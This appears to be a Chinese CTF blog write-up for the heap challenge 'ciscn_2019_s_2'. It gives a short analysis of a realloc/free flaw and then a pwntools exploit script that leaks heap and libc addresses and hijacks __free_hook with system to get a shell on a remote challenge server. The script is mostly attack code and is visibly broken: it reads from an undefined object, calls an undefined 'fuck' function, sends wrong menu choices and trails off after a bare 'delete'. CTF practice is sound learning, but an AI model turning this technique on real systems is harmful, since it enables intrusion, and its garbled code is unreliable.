256 ciscn_2019_s_2

add
申请一个0x10的chunk,分别放着地址,大小,flag。
edit
有个realloc,一会小心。
show

这个show就平平无奇。
delete

free没啥问题。但是他没有管我们刚刚说的结构体里面的flag。
这就导致什么,我们再free了chunk之后,ptr指针没了,但是我们可以edit传入空指针,走一次realloc。
空指针的realloc会发生什么,当我们的size是的时候,realloc会将他释放掉,清理指针的
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF("./256")
r = remote('node4.buuoj.cn',29001)
libc = ELF('./64/libc-2.27.so')
def add(size,content):
r.sendlineafter('choice:',"1")
r.sendlineafter('size?>',str(size))
r.sendafter('content:',content)
def edit(idx,content):
r.sendlineafter('choice:',"2")
r.sendlineafter('Index:',str(idx))
r.sendafter('content:',content)
def show(idx):
r.sendlineafter('choice:',"3")
r.sendlineafter('Index:',str(idx))
def delete(idx):
r.sendlineafter('choice:',str(idx))
r.sendlineafter('Index:',str(idx))
def edit2(idx):
r.sendlineafter('choice:',"2")
r.sendlineafter('Index:',str(idx))
add(0,'')
edit2(0)
delete(0)
add(0x10,p64(0)) #0
add(0x20,'aaa') #1
show(0)
r.recvuntil('Content: ')
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x2a0
add(0x500,'aaa') #2
add(0,'') #3
delete(2)
edit(0,p64(heap_base+0x2f0))
show(1)
r.recvuntil('Content: ')
libc.address = u64(p.recv(6).ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
add(0x500,'/bin/sh\x00') #2
fuck(3)
delete(3)
add(0x10,p64(libc.sym['__free_hook'])) #3
add(0x10,p64(libc.sym['system']))
delete

博客内容涉及多个CTF挑战的解决方案,涵盖了堆管理漏洞利用、libc地址泄露、free_hook劫持等技术,包括对realloc、free、edit操作的利用,以及通过编辑字符串进行内存控制和got表劫持,最终实现远程命令执行。
最低0.47元/天 解锁文章
1615

被折叠的 条评论
为什么被折叠?



